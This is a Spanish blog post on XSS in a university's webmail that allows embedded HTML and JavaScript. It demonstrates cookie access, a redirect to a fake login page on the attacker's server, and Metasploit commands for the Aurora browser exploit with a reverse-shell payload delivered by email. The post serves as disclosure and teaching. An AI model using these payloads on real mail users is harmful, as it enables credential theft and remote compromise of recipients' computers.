sábado, 17 de noviembre de 2012

"Jabalí a lo Flu" Los peligros de un XSS

Esta semana en Flu Project nos ha gustado mucho el artículo Los Peligros de un XSS, escrito por aetsu al que también podéis leer en La leyenda de Tux.

Los peligros de un XSS Un Ejemplo Universitario.
Hay muchas ocasiones en las que por el bien de los usuarios se les ofrecen funcionalidades sin llegar a caer en la cuenta de que estas pueden acabar siendo un peligro para ellos.
Ha sido cuando leyendo este genial post de @Kodeinfect llamado Combinando ataques: XSS + Metasploit me ha venido a la cabeza escribir una entrada sobre una “curiosidad” que encontré recientemente en el correo interno de la universidad, el cual permite incrustar fragmentos de texto en html y javascript, he aquí el peligro.


Esto da al usuario la oportunidad de aplicar cierto formato al texto mediante html o javascript, pero tambien da a un atacante malintencionado la posibilidad de realizarataques mediante XSS, siendo la víctima el receptor del correo electrónico.
Vamos a ver tres ejemplos prácticos de ataques que podría llegar a realizar una “mala persona” o alguien aburrido:
El primero de estos es el robo de cookies, para ello basta con componer un mensaje y añadir el código javascript para que muestre la cookie, en este caso se utilizará un “alert” por comodidad:


Las únicas peculiaridades han sido habilitar la opción Toggle HTML Source y añadir el siguiente fragmento de código al cuerpo del mensaje:
<script language=”javascript” type=”text/javascript”>
alert(document.cookie);
</script>

Lo mas interesante de esto es que la victima no verá el código javascript ejecutado en el cuerpo del mensaje a no ser que escoja responder al mensaje y marque la opcion Toggle HTML Source.Otra opción interesante es redirigir a la victima a una ventana de login como si el usuario hubiera perdido la conexión por un fallo del servidor, pero con la peculiaridad que esta está en un servidor bajo nuestro control, para ello basta un pequeño fragmento de codigo incrustado en el mensaje:
<script language=”javascript” type=”text/javascript”>
document.location=”direccion de nuestro servidor”;
</script>


Por último es posible hacer algo mucho mas peligroso como lanzar exploits en la máquina del inocente receptor, para ello Metasploit como en otras ocasiones será un gran aliado.
Se utiliza como exploit ms10_002_aurora y como payload una shell inversa:
use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
A continuación hay que configurar el el puerto y la ip a la que se ejecutara el exploit:
set SRVPORT 80
set LHOST  192.168.1.40
Y por último lanzarlo:
exploit
Una vez este listo Metasploit el contenido del correo es el siguiente:
<script language=”javascript” type=”text/javascript”>
document.location=”direccion de nuestro servidor”;
</script>
donde la información que acompaña a document.location nos la proporciona metasploit al iniciar el servidor.
 
 
ya solo queda esperar a que la víctima lea el correo para que Metasploit haga la magia:
 

 

La situación en la que el receptor abre el correo y es ejecutado de forma transparente en su navegador un código javascript es muy peligroso, mas que nada si el receptor no tiene conocimientos informáticos o si este es un profesor y lo que el robo de sus datos implicaría. Además el hecho de poder añadir al cuerpo del mensaje cualquier texto permite realizar ataques de ingeniería social muy peligrosos, ya que el receptor seguramente no prestará atención al código javascript embebido puesto que este no se le mostrará.Como aclaración respecto al contenido del post, informaré sobre esta “vulnerabilidad” cuando el post sea publicado, aunque no la considero así, ya que si el editor de mensajes aporta la la opción de añadir fragmentos de html/javascript, considero esto más como una funcionalidad extra que puede usarse “mal” que como una vulnerabilidad propiamente dicha. En fin, nos leemos en breve ;)



2 comentarios:

  1. Muy bien explicado para que lo entienda cualquier usuario como yo que aunque no me considere un experto en estos temas me encanta seguiros y descubrir estas faltas de seguridad. Mejor imposible, enhorabuena. Por cierto el jabalí es una carne dura de comer sino está bien cocinada, durante horas y horas hay que trabajarla para disfrutar de un buen plato como todos disfrutamos de vuestros post. Con esto os digo, el trabajo bien cocinado se digiere mejor y se nota que sois grandes cocineros de la seguridad. Abrazos.

    ResponderEliminar
    Respuestas
    1. Jjajaja muchas gracias por vuestras palabras, pero no es pa tanto, un saludo amigos XD

      Eliminar

Archivo del blog